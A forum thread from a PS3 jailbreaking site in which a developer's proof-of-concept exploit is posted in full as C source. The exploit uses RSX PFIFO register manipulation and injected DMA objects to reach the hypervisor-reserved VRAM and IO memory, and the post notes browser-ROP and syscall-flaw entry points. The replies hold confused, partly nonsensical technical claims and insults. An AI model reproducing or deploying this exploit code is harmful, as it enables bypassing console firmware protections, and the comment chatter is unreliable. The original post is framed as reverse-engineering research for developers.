Join Us and become a Member for a Verified Badge to access private areas with the latest PS4 PKGs.
PS3 Jailbreaking       Thread starter PSXHAX       Start date Mar 23, 2016 at 7:53 PM       26      
Status
Not open for further replies.
Following the ongoing PS3 RSX Driver LV1 Reverse-Engineering Project, today PlayStation 3 developer AlexAltea shared a full RSX VRAM / IO access PS3 exploit with other developers.

Download: ps3exploit.zip

Below are the details for those interested from his post, as follows: Full RSX VRAM/IO access exploit

This allows userland/lv2 access to the entire 256 MB RSX VRAM range and the entire RSX IO address space and works on all firmwares up to the last version. Particularly interesting here, is that this allows to access the last 2 MB of VRAM, reserved only for the LV1 driver, and maybe slightly less interesting, accessing 'vsh.self' VRAM area and IO mapped memory.

## Disclaimer:

The requirements are quite hard to satisfy (many of you either don't need this, or can't run this) and it's only relevant for devs (so some don't need to care about it either). It just gives you access to something inaccessible before with userland/supervisor privileges, nothing else. That's the ONLY reason I'm posting this (and maybe the hope of someone being able to do something better with it).

## Requirements:

You need either:
  • Userland entry point (e.g. Browser exploit [1], <= 4.78?) + NAND console (although probably if you have this, you already hacked it and have LV1 access).
  • LV2 entry point (e.g. RSXploit [2], <= 4.45?). You will need to replace the `sys_rsx_context_attribute` LV2 syscall with the `lv1_gpu_device_map` LV1 call in the source code of the PoC provided below (and remove all the GCM library code among other things).
## Download:

Source code available here (documentation inlined as comments):

https://github.com/AlexAltea/ps3autotests/blob/master/exploits/user_vram_access/user_vram_access.cpp
Code:
/**
* (c) 2016 AlexAltea.
*/

#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <cell/gcm.h>

#include "../../common/lv1.h"
#include "../../common/lv2.h"
#include "../../common/output.h"

// Writing on FIFO buffer
#define METHOD(offset, count) \
    (((count) << 18) | (offset))
#define PUT \
    *(uint32_t*)(EA_PFIFO_USER_ADDR + 0x40)
#define GET \
    *(uint32_t*)(EA_PFIFO_USER_ADDR + 0x44)
#define COMMAND \
    ((uint32_t*)((uint32_t)ioAddress + PUT))

// TODO: Do the same without hardcoding the addresses
#define EA_GLOBAL_SEMAPHORE_ADDR    0x40000000
#define EA_GLOBAL_SEMAPHORE_SIZE    0x1000
#define EA_PFIFO_USER_ADDR          0x40100000
#define EA_PFIFO_USER_SIZE          0x1000

// NV40_CHANNEL_DMA (NV406E)
#define NV406E_SET_REFERENCE                  0x0050
#define NV406E_SET_CONTEXT_DMA_SEMAPHORE      0x0060
#define NV406E_SEMAPHORE_OFFSET               0x0064
#define NV406E_SEMAPHORE_ACQUIRE              0x0068
#define NV406E_SEMAPHORE_RELEASE              0x006C

// PFIFO MMIO Registers
#define RSX_PFIFO             0x00002000
#define RSX_PFIFO_INTR_EN_0   0x00002140
#define RSX_PFIFO_RAMHT       0x00002210
#define RSX_PFIFO_RAMRO       0x00002218
#define RSX_PFIFO_MODE        0x00002504

// Properties
#define RAMHT_OFFSET_MIN      0x00000000
#define RAMHT_OFFSET_MAX      0x0001F000
#define RAMRO_ENTRY_SIZE      8

// Utilities
#define countof(a)  (sizeof(a)/sizeof(a[0]))

uint32_t bitcount(uint32_t i) {
     i = i - ((i >> 1) & 0x55555555);
     i = (i & 0x33333333) + ((i >> 2) & 0x33333333);
     return (((i + (i >> 4)) & 0x0F0F0F0F) * 0x01010101) >> 24;
}

uint32_t bswap32(uint32_t value) {
    value = ((value << 8) & 0xFF00FF00 ) | ((value >> 8) & 0xFF00FF );
    return (value << 16) | (value >> 16);
}

#define PFIFO_READ(offset) \
    *(const uint32_t*)(pfifo_mmio + ((offset) - RSX_PFIFO))
#define PFIFO_WRITE(offset, value) \
    *(uint32_t*)(pfifo_mmio + ((offset) - RSX_PFIFO)) = value

uint32_t addr_pramin_to_vram(uint32_t offset) {
    uint32_t vram_size = 0x10000000; // 256 MB
    uint32_t rev_size = 0x80000; // 512 KB
    return vram_size - (offset - (offset % rev_size)) - rev_size + (offset % rev_size);
}

uint32_t addr_vram_to_pramin(uint32_t offset) {
    uint32_t vram_size = 0x10000000; // 256 MB
    uint32_t rev_size = 0x80000; // 512 KB
    return (offset - vram_size) ^ -rev_size;
}

uint32_t offset_ramht(uint32_t handle, uint32_t chid) {
    uint32_t t1 = (handle & 0x3FF800) >> 11;
    uint32_t t2 = (handle & 0x7FF);
    uint32_t t3 = (handle >> 22);
    uint32_t t4 = (chid & 7) << 7;
    return (t1 ^ t2 ^ t3 ^ t4) << 3;
}

const uint32_t driver_handles[] = {
    // DMA object handles
    0x66604200, 0x66604201, 0x66604202, 0x66604203, 0x66604204, 0x66604205, 0x66604206, 0x66604207,
    0x66604208, 0x66604209, 0x6660420A, 0x6660420B, 0x6660420C, 0x6660420D, 0x6660420E, 0x6660420F,
    0x56616660, 0x56616661, 0x66606660, 0x66616661, 0x66626660, 0xBAD68000, 0x13378086, 0x13378080,
    0xFEED0000, 0xFEED0001, 0xFEED0003, 0xFEED0004,
    // Engine object handles
    0x31337000, 0x31337303, 0x3137C0DE, 0x313371C3, 0x31337A73, 0x31337808, 0x3137AF00, 0xCAFEBABE,
};

const uint32_t custom_handles[] = {
    // DMA object handles
    0x50401000 | 0x0040,
    0x50401000 | 0x0044,
};

uint32_t get_vram_user_size() {
    // TODO: Different firmware versions have different sizes;
    return 0xF900000; // 249 MB
}

int main() {
    // Initialize GCM
    const uint32_t cmdSize = 0x10000;
    const uint32_t ioSize = 1*1024*1024;
    const void *ioAddress = memalign(1*1024*1024, ioSize);
    cellGcmInit(cmdSize, ioSize, ioAddress);

    // Map PFIFO MMIO registers
    uint64_t addr1 = 0;
    uint64_t addr2 = 0;
    uint64_t ret = lv2_syscall_3(SYS_RSX_DEVICE_MAP, (uint64_t)&addr1, (uint64_t)&addr2, 14ULL);
    uint64_t pfifo_mmio = addr1 ? addr1 : addr2;

    // Original PFIFO MMIO values
    const uint32_t old_pfifo_intr_en_0 = PFIFO_READ(RSX_PFIFO_INTR_EN_0);
    const uint32_t old_pfifo_ramht = PFIFO_READ(RSX_PFIFO_RAMHT);
    const uint32_t old_pfifo_ramro = PFIFO_READ(RSX_PFIFO_RAMRO);
    const uint32_t old_pfifo_mode = PFIFO_READ(RSX_PFIFO_MODE);

    // Original driver information
    const uint32_t old_pfifo_ramht_offset = (old_pfifo_ramht & 0xFFFF) << 8;
    const uint32_t old_pfifo_ramro_offset = (old_pfifo_ramro & 0xFFFF) << 8;

    // Disable LV1 interrupts
    PFIFO_WRITE(RSX_PFIFO_INTR_EN_0, 0);

    // By testing on a real console:
    // 1. Invalid PFIFO methods that trigger RAMRO writes in PIO mode are: { 0x0040, 0x0044, 0x0048, 0x0054 }.
    // 2. Their corresponding RAMRO error reports are { 0x50401040, 0x50401044, 0x50401048, 0x50401054 }.
    // 3. Their corresponding RAMHT offset for channel 1 are: { 0x0C18, 0x0C38, 0x0C58, 0x0CB8 }.
    //
    // After computing the RAMHT offsets for all pairs consisting of any handles ever created by the LV1 driver,
    // and any possible channels ID (up to the maximum of 4 that LV1 supports), we know that no handle
    // will ever be placed by the draver in the RAMHT range `0xC00` - `0xCFF`.
    // Since the offset `0xC00` is 512-byte aligned, RAMRO can be relocated there.

    // Move RAMRO to RAMHT+0x0C00
    const uint32_t new_pfifo_ramro_offset = old_pfifo_ramht_offset + 0x0C00;
    const uint32_t new_pfifo_ramro = new_pfifo_ramro_offset >> 8;
    PFIFO_WRITE(RSX_PFIFO_RAMRO, new_pfifo_ramro);
    uint32_t debug_pfifo_ramro = PFIFO_READ(RSX_PFIFO_RAMRO);

    // Fill current context local memory with custom DMA object
    // Modify the custom DMA object below to access different parts of RSX VRAM / IO address space.
    //  - Word 2: Size of accessible memory range (minus 1).
    //  - Word 3: Virtual address: VRAM=[0x00000000, 0x0FFFFFFF], IO=[0x80000000, 0x9FFFFFFF].
    //  - Word 4: Virtual address: VRAM=[0x00000000, 0x0FFFFFFF], IO=[0x80000000, 0x9FFFFFFF].
    uint32_t dma_object[4] = { 0x00003002, 0x00000FFF, 0x0FE10003, 0x0FE10003 };

    // NOTE: Filling the entire user VRAM with DMA objects is not necessary,
    //       but I'm too lazy to compute the address and this will not hurt anyone.
    uint32_t vram_user_size = get_vram_user_size();
    for (size_t i = 0; i < vram_user_size; i += sizeof(dma_object)) {
        *(uint32_t*)(0xC0000000 + i + 0x0) = bswap32(dma_object[0]);
        *(uint32_t*)(0xC0000000 + i + 0x4) = bswap32(dma_object[1]);
        *(uint32_t*)(0xC0000000 + i + 0x8) = bswap32(dma_object[2]);
        *(uint32_t*)(0xC0000000 + i + 0xC) = bswap32(dma_object[3]);
    }

    // Set all PFIFO channels temporarily to PIO mode and fill RAMRO with custom handles
    // NOTE: Object RAMIN offset: 8 MB > 2 MB (LV1) + 5 MB (VSH), and therefore, it's our user VRAM.
    //       Although the VSH VRAM area in older firmware versions is bigger than 5 MB, and goes
    //       beyond the 16 MB limit (0xFFFFFF) in object offsets, it's usually allocated at the
    //       beginning of VRAM so a RAMIN offset of 8 MB would still be accessible.
    uint32_t channel_count = bitcount(old_pfifo_mode);
    uint32_t channel_id = channel_count - 1;
    uint32_t object_offset = (channel_id << 23) | (0x800000 >> 4); // See note above
    PFIFO_WRITE(RSX_PFIFO_MODE, 0);
    for (size_t i = 0; i < 4; i++)
        *(uint32_t*)(EA_PFIFO_USER_ADDR + 0x0040) = bswap32(object_offset | 0x100000);
    for (size_t i = 0; i < 4; i++)
        *(uint32_t*)(EA_PFIFO_USER_ADDR + 0x0044) = bswap32(object_offset | 0x100000);
    PFIFO_WRITE(RSX_PFIFO_MODE, old_pfifo_mode);

    // Memory access test
    COMMAND[0] = METHOD(NV406E_SET_CONTEXT_DMA_SEMAPHORE, 1);
    COMMAND[1] = custom_handles[0];
    COMMAND[2] = METHOD(NV406E_SEMAPHORE_OFFSET, 1);
    COMMAND[3] = 0x10;
    COMMAND[4] = METHOD(NV406E_SEMAPHORE_RELEASE, 1);
    COMMAND[5] = 0xDEFECA7E;
    PUT += 6 * 4;
    sys_timer_usleep(100000); // 0.1 s

    // NOTE: If you are using the DMA object original source code:
    //       { 0x00003002, 0x00000FFF, 0x0FE10003, 0x0FE10003 };
    //       you can uncomment the line below to see if it worked.
    //assert(*(uint32_t*)0x40300010 == 0xDEFECA7E);

    printf("Done!\n");
    return 0;
}
## Acknowledgements:

Thanks a lot to 3141card, for his LV1 RE files, and to people from Nouveau/Envytools people, specially mwk.

[1] There's a browser-based (was it Webkit?) memdump PoC for PS3. So, just dump memory, find gadgets and build a ROP chain to load userland code.

[2] There's a flaw in 'sys_rsx_context_allocate' that allows that. More info on the RSXploit thread.

It's nice to see the PS3 scene is still progressing even with the PS4 scene now heating up. :cool:
PS3_RSX.jpg
 

Comments

Code:
uint32_t bswap32(uint32_t value) {
    value = ((value << 8) & 0xFF00FF00 ) | ((value >> 8) & 0xFF00FF );
    return (value << 16) | (value >> 16);

static uint32_t swap32(uint32_t data)
{
   uint32_t ret = (((data) & 0xff) << 24);
   ret |= (((data) & 0xff00) << 8);
   ret |= (((data) & 0xff0000) >> 8);
   ret |= (((data) >> 24) & 0xff);
see the issue here?
-_______________-
in english 8x8=64
16x16=256
 
Code:
uint32_t bswap32(uint32_t value) {
    value = ((value << 8) & 0xFF00FF00 ) | ((value >> 8) & 0xFF00FF );
    return (value << 16) | (value >> 16);

static uint32_t swap32(uint32_t data)
{
   uint32_t ret = (((data) & 0xff) << 24);
   ret |= (((data) & 0xff00) << 8);
   ret |= (((data) & 0xff0000) >> 8);
   ret |= (((data) >> 24) & 0xff);
see the issue here?
-_______________-
in english 8x8=64
16x16=256
Yea don't look like a rsx looks like a processor perhaps!
But if we were smart we wod have known inside of each ppc uses 2 processors and this system has a built in video card using cuda technology which I know very well.
256 divided by 2 = 128 n if you look at the Ps3 actual kernel src code it states it on the older 2.6 makefile if some1 actualy reads thro it
 
Code:
uint32_t object_offset = (channel_id << 23) | (0x800000 >> 4); // See note above
    PFIFO_WRITE(RSX_PFIFO_MODE, 0);
    for (size_t i = 0; i < 4; i++)
        *(uint32_t*)(EA_PFIFO_USER_ADDR + 0x0040) = bswap32(object_offset | 0x100000);
    for (size_t i = 0; i < 4; i++)
question is with the following code=
Code:
    // Memory access test
    COMMAND[0] = METHOD(NV406E_SET_CONTEXT_DMA_SEMAPHORE, 1);
    COMMAND[1] = custom_handles[0];
    COMMAND[2] = METHOD(NV406E_SEMAPHORE_OFFSET, 1);
    COMMAND[3] = 0x10;
    COMMAND[4] = METHOD(NV406E_SEMAPHORE_RELEASE, 1);
    COMMAND[5] = 0xDEFECA7E;
    PUT += 6 * 4;
    sys_timer_usleep(100000); // 0.1 s

    // NOTE: If you are using the DMA object original source code:
    //       { 0x00003002, 0x00000FFF, 0x0FE10003, 0x0FE10003 };
    //       you can uncomment the line below to see if it worked.
    //assert(*(uint32_t*)0x40300010 == 0xDEFECA7E);

    printf("Done!\n");
    return 0;
}
can you acess the memory?

math ppl....
 
Code:
uint32_t object_offset = (channel_id << 23) | (0x800000 >> 4); // See note above
    PFIFO_WRITE(RSX_PFIFO_MODE, 0);
    for (size_t i = 0; i < 4; i++)
        *(uint32_t*)(EA_PFIFO_USER_ADDR + 0x0040) = bswap32(object_offset | 0x100000);
    for (size_t i = 0; i < 4; i++)
question is with the following code=
Code:
    // Memory access test
    COMMAND[0] = METHOD(NV406E_SET_CONTEXT_DMA_SEMAPHORE, 1);
    COMMAND[1] = custom_handles[0];
    COMMAND[2] = METHOD(NV406E_SEMAPHORE_OFFSET, 1);
    COMMAND[3] = 0x10;
    COMMAND[4] = METHOD(NV406E_SEMAPHORE_RELEASE, 1);
    COMMAND[5] = 0xDEFECA7E;
    PUT += 6 * 4;
    sys_timer_usleep(100000); // 0.1 s

    // NOTE: If you are using the DMA object original source code:
    //       { 0x00003002, 0x00000FFF, 0x0FE10003, 0x0FE10003 };
    //       you can uncomment the line below to see if it worked.
    //assert(*(uint32_t*)0x40300010 == 0xDEFECA7E);

    printf("Done!\n");
    return 0;
}
can you acess the memory?

math ppl....
Hey what can I say ps3 days were such a rush to obtain the first jb they didn't read and see half the stuff we see now days. All they care about is the first to release n yet it's so easy to see things when you actualy read and do the math

Sure any1 can find the info now days and find a way to exploite a system but the correct way is to take your time and do your research first then go from there otherwise screwups will be bound to be all over the place
 
well all the actual calcuations are right but i guess *cough *cough there needs to be fact checking done... :noexpression:
i mean its toatally hard if we arent one of the top greats we need our asses licked right?

of course nobody pays attention to the ppl laughed at... -__- fcking idiots.
 
well all the actual calcuations are right but i guess *cough *cough there needs to be fact checking done... :noexpression:
i mean its toatally hard if we arent one of the top greats we need our asses licked right?

of course nobody pays attention to the ppl laughed at... -__- fcking idiots.
Sorry but I don't kiss no1 a§§ Whether they like it or not and while they think by submitting updates to the Linux kernel will stop ppl so cobra can rule the scene has only proven how ignorant they truly are.
 
lets continue shall we ?
Code:
static uint64_t swap64(uint64_t data)
{
   uint64_t ret = (data << 56) & 0xff00000000000000ULL;
   ret |= ((data << 40) & 0x00ff000000000000ULL);
   ret |= ((data << 24) & 0x0000ff0000000000ULL);
   ret |= ((data << 8) & 0x000000ff00000000ULL);
   ret |= ((data >> 8) & 0x00000000ff000000ULL);
   ret |= ((data >> 24) & 0x0000000000ff0000ULL);
   ret |= ((data >> 40) & 0x000000000000ff00ULL);
   ret |= ((data >> 56) & 0x00000000000000ffULL);
   return ret;
}
buffer is hmmm=2048

obvious to some=rsa key size

valid key size=192
 
lets continue shall we ?
Code:
static uint64_t swap64(uint64_t data)
{
   uint64_t ret = (data << 56) & 0xff00000000000000ULL;
   ret |= ((data << 40) & 0x00ff000000000000ULL);
   ret |= ((data << 24) & 0x0000ff0000000000ULL);
   ret |= ((data << 8) & 0x000000ff00000000ULL);
   ret |= ((data >> 8) & 0x00000000ff000000ULL);
   ret |= ((data >> 24) & 0x0000000000ff0000ULL);
   ret |= ((data >> 40) & 0x000000000000ff00ULL);
   ret |= ((data >> 56) & 0x00000000000000ffULL);
   return ret;
}
buffer is hmmm=2048

obvious to some=rsa key size

valid key size=192
You are learning my son! Lmfao
 
Status
Not open for further replies.
Back
Top